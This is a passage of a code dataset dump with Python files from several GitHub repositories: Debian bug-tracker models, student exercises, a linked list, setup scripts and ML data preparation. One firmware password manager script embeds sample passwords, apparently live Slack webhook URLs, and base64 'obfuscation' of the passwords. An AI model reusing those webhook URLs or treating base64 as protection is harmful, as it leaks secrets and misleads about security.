'newcomer': (\n                ('tag', 'newcomer'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n            ),\n            'all-merged': (\n                ('repeatmerged', 'yes'),\n            ),\n            'rc-merged': (\n                ('archive', 'no'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n                ('sev-inc', 'critical'),\n                ('sev-inc', 'grave'),\n                ('sev-inc', 'serious'),\n                ('repeatmerged', 'yes'),\n            ),\n            'normal-merged': (\n                ('archive', 'no'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n                ('sev-inc', 'important'),\n                ('sev-inc', 'normal'),\n                ('repeatmerged', 'yes'),\n            ),\n            'wishlist-merged': (\n                ('archive', 'no'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n                ('sev-inc', 'minor'),\n                ('sev-inc', 'wishlist'),\n                ('repeatmerged', 'yes'),\n            ),\n            'fixed-merged': (\n                ('archive', 'no'),\n                ('pend-inc', 'pending-fixed'),\n                ('pend-inc', 'fixed'),\n                ('repeatmerged', 'yes'),\n            ),\n            'patch-merged': (\n                ('include', 'tags:patch'),\n                ('exclude', 'tags:pending'),\n                ('pend-exc', 'done'),\n                ('repeatmerged', 'yes'),\n            ),\n        }\n        if category_name not in URL_PARAMETERS:\n            return\n\n        domain = 'https://bugs.debian.org/'\n        query_parameters = URL_PARAMETERS[category_name]\n\n        if package_type == 'source':\n            query_parameters += (('src', package_name),)\n        elif package_type == 'binary':\n            if category_name == 'all':\n                # All bugs for a binary package don't follow the same pattern as\n                # the rest of the URLs.\n                return domain + package_name\n            query_parameters += (('which', 'pkg'),)\n            query_parameters += (('data', package_name),)\n\n        return (\n            domain +\n            'cgi-bin/pkgreport.cgi?' +\n            urlencode(query_parameters)\n        )\n\n    def get_bugs_categories_list(self, stats, package):\n        # Some bug categories should not be included in the count.\n        exclude_from_count = ('patch', 'help', 'newcomer')\n\n        categories = []\n        total, total_merged = 0, 0\n        # From all known bug stats, extract only the ones relevant for the panel\n        for category in stats:\n            category_name = category['category_name']\n            if category_name not in self.category_descriptions.keys():\n                continue\n            # Add main bug count\n            category_stats = {\n                'category_name': category['category_name'],\n                'bug_count': category['bug_count'],\n            }\n            # Add merged bug count\n            if 'merged_count' in category:\n                if category['merged_count'] != category['bug_count']:\n                    category_stats['merged'] = {\n                        'bug_count': category['merged_count'],\n                    }\n            # Add descriptions\n            category_stats.update(self.category_descriptions[category_name])\n            categories.append(category_stats)\n\n            # Keep a running total of all and all-merged bugs\n            if category_name not in exclude_from_count:\n                total += category['bug_count']\n                total_merged += category.get('merged_count', 0)\n\n        # Add another \"category\" with the bug totals.\n        all_category = {\n            'category_name': 'all',\n            'display_name': 'all',\n            'bug_count': total,\n        }\n        if total != total_merged:\n            all_category['merged'] = {\n                'bug_count': total_merged,\n            }\n        # The totals are the first displayed row.\n        categories.insert(0, all_category)\n\n        # Add URLs for all categories\n        for category in categories:\n            # URL for the non-merged category\n            url = self.get_bug_tracker_url(\n                package.name, 'source', category['category_name'])\n            category['url'] = url\n\n            # URL for the merged category\n            if 'merged' in category:\n                url_merged = self.get_bug_tracker_url(\n                    package.name, 'source',\n                    category['category_name'] + '-merged'\n                )\n                category['merged']['url'] = url_merged\n\n        return categories\n\n    def table_field_context(self, package):\n        \"\"\"\n        :returns: The context data for package's bug stats with RC bugs data to\n            be highlighted in the template, as well as providing proper links\n            for Debian BTS.\n        \"\"\"\n        try:\n            stats = package.bug_stats.stats\n        except ObjectDoesNotExist:\n            stats = []\n\n        data = {}\n        data['bugs'] = self.get_bugs_categories_list(stats, package)\n\n        total = 0\n        for category in data['bugs']:\n            if category['category_name'] == 'all':\n                total = category['bug_count']\n                break\n        data['all'] = total\n        data['bts_url'] = self.get_bug_tracker_url(\n            package.name, 'source', 'all')\n\n        # Highlights RC bugs and set text color based on the bug category\n        data['text_color'] = 'text-default'\n        for bug in data['bugs']:\n            if bug['category_name'] == 'rc' and bug['bug_count'] > 0:\n                data['text_color'] = 'text-danger'\n                data['rc_bugs'] = bug['bug_count']\n            elif bug['category_name'] == 'normal' and bug['bug_count'] > 0:\n                if data['text_color'] != 'text-danger':\n                    data['text_color'] = 'text-warning'\n            elif bug['category_name'] == 'patch' and bug['bug_count'] > 0:\n                if (data['text_color'] != 'text-warning' and\n                        data['text_color'] != 'text-danger'):\n                    data['text_color'] = 'text-info'\n        return data\n\n    def panel_context(self, package):\n        \"\"\"\n        Returns bug statistics which are to be displayed in the bugs panel\n        (:class:`BugsPanel <distro_tracker.core.panels.BugsPanel>`).\n\n        Debian wants to include the merged bug count for each bug category\n        (but only if the count is different than non-merged bug count) so this\n        function is used in conjunction with a custom bug panel template which\n        displays this bug count in parentheses next to the non-merged count.\n\n        Each bug category count (merged and non-merged) is linked to a URL in\n        the BTS which displays more information about the bugs found in that\n        category.\n\n        A verbose name is included for each of the categories.\n\n        The function includes a URL to a bug history graph which is displayed in\n        the rendered template.\n        \"\"\"\n        bug_stats = get_or_none(PackageBugStats, package=package)\n\n        if bug_stats:\n            stats = bug_stats.stats\n        else:\n            stats = []\n\n        categories = self.get_bugs_categories_list(stats, package)\n\n        # Debian also includes a custom graph of bug history\n        graph_url = (\n            'https://qa.debian.org/data/bts/graphs/'\n            '{package_hash}/{package_name}.png'\n        )\n\n        # Final context variables which are available in the template\n        return {\n            'categories': categories,\n            'graph_url': graph_url.format(\n                package_hash=package_hashdir(package.name),\n                package_name=package.name),\n        }\n\n    def get_binary_bug_stats(self, binary_name):\n        \"\"\"\n        Returns the bug statistics for the given binary package.\n\n        Debian's implementation filters out some of the stored bug category\n        stats. It also provides a different, more verbose, display name for each\n        of them. The included categories and their names are:\n\n        - rc - critical, grave serious\n        - normal - important and normal\n        - wishlist - wishlist and minor\n        - fixed - pending and fixed\n        \"\"\"\n        stats = get_or_none(BinaryPackageBugStats, package__name=binary_name)\n        if stats is None:\n            return\n        category_descriptions = {\n            'rc': {\n                'display_name': 'critical, grave and serious',\n            },\n            'normal': {\n                'display_name': 'important and normal',\n            },\n            'wishlist': {\n                'display_name': 'wishlist and minor',\n            },\n            'fixed': {\n                'display_name': 'pending and fixed',\n            },\n        }\n\n        def extend_category(category, extra_parameters):\n            category.update(extra_parameters)\n            return category\n\n        # Filter the bug stats to only include some categories and add a custom\n        # display name for each of them.\n        return [\n            extend_category(category,\n                            category_descriptions[category['category_name']])\n            for category in stats.stats\n            if category['category_name'] in category_descriptions.keys()\n        ]\n","repo_name":"rhertzog/distro-tracker","sub_path":"distro_tracker/vendor/debian/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":17226,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"72091315983","text":"# 5.  for dongusu yazin ki listin icindeki iki dictionarynin value-larin muqayise etsin\nliste = [{'name':{'oglan_adlari':['Nizami','Elsen','Ulvi'],'qiz_adlari':['Aygun','Sehla','Ulker']},\n          'soyad':{'oglanlarin_soyadlari':['Aliyev','Quliyev','Haciyev'],'qizlarin_soyadlari':['Rehmanova','Quliyeva','Ismayilova']},\n          'tehsil':{'oglanlarin_tehsili':['ali','orta','ali'],'qizlarin_tehsili':['ali','ali','ali']},\n          'yas':{'oglanlarin_yasi':[29,32,34],'qizlarin_yasi':[24,26,27]}},\n         {'name':{'oglan_adlari':['Etibar','Elsen','REsad'],'qiz_adlari':['Aygun','Aygul','Ulker']},\n          'soyad':{'oglanlarin_soyadlari':['Aliyev','Quliyev','VEliyev'],'qizlarin_soyadlari':['Sabanova','Quliyeva','Ismayilova']},\n          'tehsil':{'oglanlarin_tehsili':['ali','ali','ali'],'qizlarin_tehsili':['orta','ali','ali']},\n          'yas':{'oglanlarin_yasi':[29,32,45],'qizlarin_yasi':[21,26,27]}}]\n# HINT: in,not in\nfor lughet in liste[0]:\n    if lughet in liste[1]:\n        for item in liste[0][lughet]:\n            if item in liste[1][lughet]:\n                for val in liste[0][lughet][item]:\n                    if val in liste[1][lughet][item]:\n                        print(str(val) + \" is in both dictionaries!\")\n                    else:\n                        print(str(val) + \" is only in the first dictionary!\")\n            else:\n                print(item + \" is only in the first dictionary!\")\n    else:\n        print(lughet + \" is only in the first dictionary!\")\n\nfor lughet in liste[1]:\n    if lughet in liste[0]:\n        for item in liste[1][lughet]:\n            if item in liste[0][lughet]:\n                for val in liste[1][lughet][item]:\n                    if val in liste[0][lughet][item]:\n                        continue\n                    else:\n                        print(str(val) + \" is only in the second dictionary!\")\n            else:\n                print(item + \" is only in the second dictionary!\")\n    else:\n        print(lughet + \" is only in the second dictionary!\")","repo_name":"aytiqaqash/GeneralPython","sub_path":"DictionariesTasks/hw-3.5.py","file_name":"hw-3.5.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8409377013","text":"import gtk\n\nimport GafferUI\n\nclass PathChooserWidget( GafferUI.Widget ) :\n\n\tdef __init__( self, path ) :\n\t\n\t\tGafferUI.Widget.__init__( self, gtk.EventBox() )\n\t\t\n\t\tself.__path = path\n\t\t\n\t\tself.__column = GafferUI.ListContainer( GafferUI.ListContainer.Orientation.Vertical )\n\t\tself.gtkWidget().add( self.__column.gtkWidget() )\n\t\t\n\t\tself.__directoryListing = GafferUI.PathListingWidget( self.__path )\n\t\tself.__column.append( self.__directoryListing, True )\n\t\t\n\t\tself.__pathWidget = GafferUI.PathWidget( self.__path )\n\t\tself.__column.append( self.__pathWidget )\n\t\t\n\t\tself.__pathSelectedSignal = GafferUI.WidgetSignal()\n\n\t\tself.__listingSelectedConnection = self.__directoryListing.pathSelectedSignal().connect( self.__pathSelected )\n\t\tself.__pathWidgetSelectedConnection = self.__pathWidget.pathSelectedSignal().connect( self.__pathSelected )\n\n\t## Returns the PathWidget used for text-based path entry.\n\tdef pathWidget( self ) :\n\t\n\t\treturn self.__pathWidget\n\n\t## This signal is emitted when the user has selected a path.\n\tdef pathSelectedSignal( self ) :\n\t\n\t\treturn self.__pathSelectedSignal\n\n\t# This slot is connected to the pathSelectedSignals of the children and just forwards\n\t# them to our own pathSelectedSignal.\n\tdef __pathSelected( self, childWidget ) :\n\t\n\t\tself.pathSelectedSignal()( self )\n","repo_name":"johnhaddon/youngGaffer","sub_path":"python/GafferUI/PathChooserWidget.py","file_name":"PathChooserWidget.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17244523160","text":"\n#%%\ninput = []\nwith open('input.txt', 'r') as fp:\n    line = fp.read()[:-1]\n    input = [int(n) for n in line.split(sep=',')]\n\ninput[1] = 12\ninput[2] = 2\n\ndef do_operation(input, pos):\n    op = input[pos]\n    v1 = input[input[pos+1]]\n    v2 = input[input[pos+2]]\n    re_pos = input[pos+3]\n\n    if op == 1:\n        input[re_pos] = v1 + v2\n    elif op == 2:\n        input[re_pos] = v1 * v2\n    elif op == 99:\n        return False\n    else:\n        print(pos)\n        raise NotImplementedError()\n\n    # continue\n    return True\n\ndef do_operation(input, pos, address1, address2):\n    op = input[pos]\n    v1 = input[input[address1]]\n    v2 = input[input[address2]]\n    re_pos = input[pos+3]\n\n    if op == 1:\n        input[re_pos] = v1 + v2\n    elif op == 2:\n        input[re_pos] = v1 * v2\n    elif op == 99:\n        return False\n    else:\n        print(pos)\n        raise NotImplementedError()\n\n    # continue\n    return True\n\n# part 1\n# pos = 0\n# while True:\n#     if not do_operation(input, pos):\n#         break\n#     pos += 4\n\n# print(input[0])\n\n# part 2\n\n\ntry:\n    for noun in range(0, 100):\n        for verb in range(0, 100):\n            pos = 0\n            a = list(input)\n\n            print(len(a))\n\n            while True:\n                if not do_operation(a, pos, noun, verb):\n                    # print(noun, verb, a[0], 'Done')\n                    break\n                if a[0] == 19690720:\n                    print(noun, verb)\n                    raise StopIteration()\n\n                pos += 4\nexcept StopIteration:\n    print('Found part 2')\n\n","repo_name":"chhenning/python_tutorial","sub_path":"Advent Of Code/2019/2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20093886898","text":"class Node(): #Node class\r\n    def __init__(self,data):\r\n        self.data=data\r\n        self.next=None\r\n\r\n# class for Linked List\r\nclass LinkedList():\r\n    # initialize head=None\r\n    def __init__(self):\r\n        self.head=None\r\n\r\n    # Inserting node at the head\r\n    def insertHead(self,data):\r\n        newNode=Node(data)\r\n        temp=self.head\r\n        self.head=newNode\r\n        newNode.next=temp\r\n        print(newNode.data, 'is added to the list')\r\n\r\n    # Inserting newNode at a given position\r\n    def insertAt(self,position,data):\r\n        newNode=Node(data)\r\n        if position<0 or position > self.length():\r\n            print('Invalid position')\r\n            return\r\n        if position==0:\r\n            self.insertHead(data)\r\n            return\r\n        else:\r\n            prevNode=currNode=self.head\r\n            currPos=0\r\n            while True:\r\n                if currPos == position:\r\n                    prevNode.next=newNode\r\n                    newNode.next=currNode\r\n                    print(newNode.data, 'is added to the list')\r\n                    break\r\n                prevNode=currNode\r\n                currNode=currNode.next\r\n                currPos+=1\r\n\r\n    # Inserting newNode at the end \r\n    def insertEnd(self,data):\r\n        newNode=Node(data)\r\n        if not self.head:\r\n            self.head=newNode\r\n            return\r\n        lastNode=self.head\r\n        while True:\r\n            if lastNode.next==None:\r\n                lastNode.next=newNode\r\n                print(newNode.data, 'is added to the list')\r\n                break\r\n            lastNode=lastNode.next\r\n    \r\n    # Deleting the head node \r\n    def deleteHead(self):\r\n        temp=self.head\r\n        self.head=self.head.next\r\n        temp.next=None\r\n        print(temp.data, 'is deleted from the list')\r\n        \r\n    # Deleting the node at a particular position\r\n    def deleteAt(self,position):\r\n        if position<0 or position>self.length():\r\n            print('Invalid position')\r\n            return\r\n        if position==0:\r\n            self.deleteHead()\r\n            return\r\n        else:\r\n            currNode=prevNode=self.head\r\n            currPos=0\r\n            while True:\r\n                if currPos == position:\r\n                    prevNode.next=currNode.next\r\n                    print(currNode.data, 'is deleted from the list')\r\n                    currNode.next=None\r\n                    break\r\n                prevNode=currNode\r\n                currNode=currNode.next\r\n                currPos+=1\r\n    \r\n    # Deleting the last node \r\n    def deleteEnd(self):\r\n        if self.isEmpty():\r\n            print('The list is empty')\r\n            return\r\n        lastNode=self.head\r\n        while lastNode.next!=None:\r\n            prevNode=lastNode\r\n            lastNode=lastNode.next\r\n        prevNode.next=None\r\n        print(prevNode.data, 'is deleted from the list')\r\n    \r\n    # print the Linked list \r\n    def printList(self):\r\n        print()\r\n        if self.isEmpty():\r\n            print('The list is empty')\r\n            return\r\n        lastNode=self.head\r\n        while lastNode:\r\n            print(lastNode.data,'->',end=' ')\r\n            lastNode=lastNode.next\r\n        print('None\\n')\r\n\r\n    # Check if list is empty\r\n    def isEmpty(self):\r\n        if self.head is None:\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    # Returns the length of the List \r\n    def length(self):\r\n        currNode=self.head\r\n        length=0\r\n        while currNode:\r\n            length+=1\r\n            currNode=currNode.next\r\n        return length\r\n        \r\n#Main func\r\ndays=LinkedList() #Head -> None\r\ndays.printList()\r\n\r\ndays.insertHead('Tuesday') #Tuesday -> None\r\ndays.insertEnd('Wednesday') #Tuesday -> Wednesday -> None\r\ndays.insertEnd('Friday') #Tuesday -> Wednesday -> Friday -> None\r\ndays.printList()\r\n\r\ndays.deleteEnd() #Tuesday -> Wednesday -> None\r\ndays.insertAt(0,'Monday') #Monday -> Tuesday -> Wednesday -> None\r\ndays.printList()\r\n\r\ndays.deleteAt(0)\r\ndays.insertHead('Monday')\r\ndays.insertEnd('Thursday')\r\ndays.insertEnd('Friday')\r\ndays.insertEnd('Saturday')\r\ndays.insertEnd('Sunday')\r\ndays.printList()\r\n","repo_name":"lokeswaran-aj/data-structures-and-algorithms-in-python","sub_path":"Data Structures/singlyLinkedListImplementation.py","file_name":"singlyLinkedListImplementation.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35109577264","text":"#!/usr/bin/env python\n\nfrom setuptools import find_packages\nfrom setuptools import setup\n\n__minimum_jax_version__ = '0.2.9'\n\nsetup_requires = [\n    'jax',\n    'jaxlib',\n    'tensorflow_probability'\n]\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetup(name='jaxns',\n      version='2.2.3',\n      description='Nested Sampling in JAX',\n      long_description=long_description,\n      long_description_content_type=\"text/markdown\",\n      url=\"https://github.com/joshuaalbert/jaxns\",\n      author='Joshua G. Albert',\n      author_email='albert@strw.leidenuniv.nl',\n      setup_requires=setup_requires,\n      tests_require=[\n          'pytest>=2.8',\n      ],\n      package_dir={'': './'},\n      packages=find_packages('./'),\n      classifiers=[\n          \"Programming Language :: Python :: 3\",\n          \"License :: OSI Approved :: Apache Software License\",\n          \"Operating System :: OS Independent\",\n      ],\n      python_requires='>=3.8',\n      )\n","repo_name":"Joshuaalbert/jaxns","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"47"}
{"seq_id":"13298336261","text":"from random import randint\nfrom bot.config import Config, JsonConfigReader\nfrom bot.services import UserGenerator, PostGenerator, UserLikesGenerator\nfrom bot.creators import ApiUserCreator, ApiPostCreator, ApiLikeCreator\nfrom bot.randomizers import TimeUserRandomizer, SimplePostRandomizer\n\nif __name__ == \"__main__\":\n    config = Config(JsonConfigReader('./bot-config.json')).get_config()\n    print('Starting automated bot')\n    print('Config:', *str(config).split(), sep='\\n  ')\n    \n    # generating users\n    print('Creating users')\n    user_generator = UserGenerator(\n        ApiUserCreator(\n            config.api_url + '/users/register',\n            config.api_url + '/users/login',\n        ),\n        TimeUserRandomizer()\n    )\n    users = user_generator.generate(\n        config.number_of_users\n    )\n    print('Users:', *[u.username for u in users], sep='\\n  ')\n\n    #generating posts\n    print('Creating posts')\n    post_generator = PostGenerator(\n        ApiPostCreator(\n            config.api_url + '/posts',\n        ),\n        SimplePostRandomizer()\n    )\n    for user in users:\n        post_generator.generate(\n            randint(1, config.max_posts_per_user),\n            user\n        )\n    print('Posts:', *[p.title for p in post_generator.posts], sep='\\n  ')\n\n    #like posts\n    print('Creating likes')\n    like_generator = UserLikesGenerator(\n        ApiLikeCreator(\n            config.api_url + '/posts/{post_id}/like'\n        )\n    )\n    for user in user_generator.users:\n        like_generator.generate(\n            randint(1, config.max_likes_per_user),\n            user,\n            post_generator.posts\n        )\n    print('Likes:', *like_generator.likes, sep='\\n  ')","repo_name":"yarik2215/blog-fastapi","sub_path":"bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23182442678","text":"from __future__ import division\nfrom __future__ import print_function\nimport base64\nimport logging\nimport inspect\nimport subprocess\n\n__version__ = '1.0'\n\nKEYFILE = {\n    'previous': [\"oneOldPassword\", \"AnotherPasswordWeUsed\"],\n    'new': \"myNewFWPW!\"\n}\n\nFWPM_CONFIG = {\n    'flags': {\n        'use_fwpw': True,\n        'management_string_type': 'hash',\n        'custom_string': '',\n        'use_reboot_on_exit': False,\n        'path_to_fw_tool': '',\n        'use_test_mode': False,\n    },\n\n    'keyfile': {\n        'path': '/tmp/current_fwpw.txt',\n        'use_obfuscation': True,\n    },\n\n    'logging': {\n        'use_logging': True,\n        'log_path': '/var/log/fwpm_controller.log',\n    },\n\n    'slack': {\n        'use_slack': True,\n        'slack_identifier': 'hostname',\n\n        'slack_info_url': 'https://hooks.slack.com/services/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',\n        'slack_error_url': 'https://hooks.slack.com/services/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',\n    }\n}\n\n\ndef prepare_keyfile(logger, cleartext):\n    \"\"\"\n    Convert keyfile into format FWPM expects and obfuscate results.\n    \"\"\"\n    if FWPM_CONFIG['logging']['use_logging']:\n        logger.info(\"%s: activated\" % inspect.stack()[0][3])\n\n    obfuscated_string = \"\"\n    sanity_check_new = False\n    sanity_check_previous = False\n\n    # sanity check cleartext!\n    logger.info(\"sanity check new.\")\n    if not isinstance(cleartext['new'], str):\n        logger.critical(\"New password improperly defined.\")\n        sanity_check_new = False\n    else:\n        sanity_check_new = True\n\n    logger.info(\"sanity check previous.\")\n    if len(cleartext['previous']) <= 1:\n        logger.critical(\"No previous password defined.\")\n        sanity_check_previous = False\n    else:\n        sanity_check_previous = True\n\n    if not sanity_check_new or not sanity_check_previous:\n        logger.critical(\"sanity check failure.\")\n        return None\n    else:\n        logger.info(\"Sanity check successful.\")\n\n    encoded_comment = base64.b64encode('old'.encode('utf-8'))\n\n    for item in cleartext['previous']:\n        tmp_item = base64.b64encode(item.encode('utf-8'))\n        tmp_string = '#'.encode('utf-8') + encoded_comment + ':'.encode('utf-8') + tmp_item + ','.encode('utf-8')\n        obfuscated_string = obfuscated_string + tmp_string.decode('utf-8')\n\n    tmp_item = base64.b64encode(cleartext['new'].encode('utf-8'))\n    tmp_string = base64.b64encode('new'.encode('utf-8')) + ':'.encode('utf-8') + tmp_item\n    obfuscated_string += str(tmp_string.decode('utf-8'))\n\n    return base64.b64encode(obfuscated_string.encode('utf-8'))\n\n\ndef main():\n    \"\"\"\n    This should not be blank.\n    \"\"\"\n\n    if FWPM_CONFIG['logging']['use_logging']:\n        logging.basicConfig(filename=FWPM_CONFIG['logging']['log_path'], level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\n        logger = logging.getLogger(__name__)\n\n        logger.info(\"fwpm controller launched.\")\n        logger.info(\"fwpm controller version {}\".format(__version__))\n\n    configuraton_file_path = '/tmp/cfg.cfg'\n\n    obfuscated_text = prepare_keyfile(logger, KEYFILE)\n\n    if obfuscated_text is None:\n            logger.critical(\"Exiting on sanity check failure.\")\n            quit()\n\n    with open(FWPM_CONFIG['keyfile']['path'], 'w') as output_file:\n        output_file.write((obfuscated_text.decode('utf-8')))\n\n    with open(configuraton_file_path, 'w') as writer:\n        for k in FWPM_CONFIG:\n            writer.write(\"[\" + k + \"]\" + \"\\n\")\n            for k2 in FWPM_CONFIG[k]:\n                writer.write(k2 + \": \" + str(FWPM_CONFIG[k][k2]) + \"\\n\")\n\n    # launch fwpm\n    logger.info(\"launching fwpm.\")\n\n    try:\n        _ = subprocess.check_output([\"/usr/local/sbin/firmware_password_manager\", \"-c\", configuraton_file_path])\n    except Exception as exception_message:\n        print(exception_message)\n        logger.critical(exception_message)\n\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"univ-of-utah-marriott-library-apple/firmware_password_manager","sub_path":"JSS integration/JSS FWPM controller script.py","file_name":"JSS FWPM controller script.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","stars":149,"dataset":"github-code","pt":"47"}
{"seq_id":"14977757001","text":"''' \n    @created by : Anuj Kumar Singh\n    Implementation of Singly linked list\n'''\nclass Node:\n    def __init__(self, dataval=None):\n        self.dataval = dataval\n        self.nextval = None\n\nclass SLinkedList:\n    def __init__(self):\n        self.headval = None\n\nlist1 = SLinkedList()\nlist1.headval = Node(\"Mon\")\ne2 = Node(\"Tue\")\ne3 = Node(\"Wed\")\n# Link first Node to second node\nlist1.headval.nextval = e2\n\n# Link second Node to third node\ne2.nextval = e3\nprint(e2.nextval.dataval)\nprint(list1.headval.dataval)","repo_name":"aks97cs/Python-Practice","sub_path":"dataStructure/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"71874559184","text":"import argparse\nimport json\nimport os\nimport warnings\nfrom datetime import datetime\n\nimport torch.multiprocessing as mp\n\n# from .feature_extractor import FeatureExtractor\nfrom .atomic_generator import AtomicGenerator\nfrom .utils import print_segment_line\n\n\ndef get_text_data(entry, index, atomic_generator):\n    data = []\n    base_entry = {\n        'img_id': str(entry['img_id']),\n        'img_fn': entry['img_fn'],\n        'index': index,\n    }\n\n    res = atomic_generator.get_reason(entry['event'])\n    for k in ['before', 'after', 'intent']:\n        for ans in res[k]:\n            data.append({**base_entry, 'event': entry['event'], 'task_type': k, 'labels': ans})\n\n    return data, res\n\n\ndef get_eval_data(entry, index, ref_ans):\n    data = []\n    base_entry = {\n        'img_id': str(entry['img_id']),\n        'img_fn': entry['img_fn'],\n        'index': index,\n    }\n\n    if len(ref_ans['before']) != 0:\n        data.append({**base_entry, 'event': entry['event'], 'task_type': 'before'})\n    if len(ref_ans['after']) != 0:\n        data.append({**base_entry, 'event': entry['event'], 'task_type': 'after'})\n    if len(ref_ans['intent']) != 0:\n        data.append({**base_entry, 'event': entry['event'], 'task_type': 'intent'})\n    return data\n\n\ndef get_reference_data(entry, ref_ans):\n    data = []\n    data.append(ref_ans)\n    return data\n\n\ndef process_text(rank, args, split, split_dict):\n    generator = AtomicGenerator(args, rank)\n    local_data = split_dict[rank::args.gpu_num]\n    start_time = datetime.now()\n\n    text_data = []\n    eval_data = []\n    ref_data = []\n    for i, entry in enumerate(local_data):\n        text_data_tmp, ref_ans = get_text_data(entry=entry, index=i, atomic_generator=generator)\n        text_data += text_data_tmp\n        eval_data += get_eval_data(entry=entry, index=i, ref_ans=ref_ans)\n        ref_data += get_reference_data(entry=entry, ref_ans=ref_ans)\n        print('GPU{}, {}/{}, ETA: {}'.format(\n            rank,\n            i,\n            len(local_data),\n            str((len(local_data) - (i + 1)) / (i + 1) * (datetime.now() - start_time))\n        ), flush=True)\n    json.dump(text_data, open(os.path.join(args.output_dir, split + str(rank) + '.json'), 'w'))\n    json.dump(eval_data, open(os.path.join(args.output_dir, split + str(rank) + '_eval.json'), 'w'))\n    json.dump(ref_data, open(os.path.join(args.output_dir, split + str(rank) + '_ref.json'), 'w'))\n\n\nif __name__ == '__main__':\n    warnings.filterwarnings(\"ignore\")\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--output_dir', type=str, required=True,\n                        help='output directory')\n    parser.add_argument('--annot_dir', type=str, required=True,\n                        help='VCG annotation directory with \"captions_train2014.json\", '\n                             '\"captions_val2014.json\", \"instances_train2014.json\" and \"instances_val2014.json\"')\n    parser.add_argument('--gpu_num', default=1, type=int,\n                        help='number of GPUs in total')\n    parser.add_argument(\"--model_file\", type=str,\n                        default=\"comet-commonsense/model/pretrained_models/atomic_pretrained_model.pickle\")\n    parser.add_argument(\"--sampling_algorithm\", type=str, default=\"beam-1\")\n\n    args = parser.parse_args()\n\n    print_segment_line('extracting training annotations')\n\n    raw_data = json.load(open(os.path.join(args.annot_dir, 'train.json'), 'r'))[:21]\n    train_data = [raw_data[0]]\n    for i in range(1, len(raw_data), 1):\n        if (raw_data[i]['event'] != raw_data[i - 1]['event']) or (raw_data[i]['img_id'] != raw_data[i - 1]['img_id']):\n            raw_data[i]['index'] = len(train_data)\n            train_data.append(raw_data[i])\n\n    print_segment_line('extracting validation annotations')\n\n    raw_data = json.load(open(os.path.join(args.annot_dir, 'val.json'), 'r'))[:21]\n    val_data = [raw_data[0]]\n    for i in range(1, len(raw_data), 1):\n        if (raw_data[i]['event'] != raw_data[i - 1]['event']) or (raw_data[i]['img_id'] != raw_data[i - 1]['img_id']):\n            raw_data[i]['index'] = len(val_data)\n            val_data.append(raw_data[i])\n\n    split_dict = {'train': train_data, 'val': val_data}\n\n    print_segment_line('generating textual and reference data')\n\n    # generate and save training data, evaluation data and reference data\n    for split, data in split_dict.items():\n        print_segment_line('generate comet reason for {} set'.format(split))\n        mp.spawn(\n            process_text,\n            args=(args, split, list(data)),\n            nprocs=args.gpu_num,\n            join=True\n        )\n    for split in split_dict.keys():\n        text_data = []\n        eval_data = []\n        ref_data = []\n        for rank in range(args.gpu_num):\n            text_data += json.load(open(os.path.join(args.output_dir, split + str(rank) + '.json'), 'r'))\n            eval_data += json.load(open(os.path.join(args.output_dir, split + str(rank) + '_eval.json'), 'r'))\n            ref_data += json.load(open(os.path.join(args.output_dir, split + str(rank) + '_ref.json'), 'r'))\n            os.remove(os.path.join(args.output_dir, split + str(rank) + '.json'))\n            os.remove(os.path.join(args.output_dir, split + str(rank) + '_eval.json'))\n            os.remove(os.path.join(args.output_dir, split + str(rank) + '_ref.json'))\n        json.dump(text_data, open(os.path.join(args.output_dir, split + '.json'), 'w'))\n        json.dump(eval_data, open(os.path.join(args.output_dir, split + '_eval.json'), 'w'))\n        json.dump(ref_data, open(os.path.join(args.output_dir, split + '_ref.json'), 'w'))\n","repo_name":"fomalhautb/KM-BART","sub_path":"scripts/prepare_vcg_reason.py","file_name":"prepare_vcg_reason.py","file_ext":"py","file_size_in_byte":5597,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"47"}
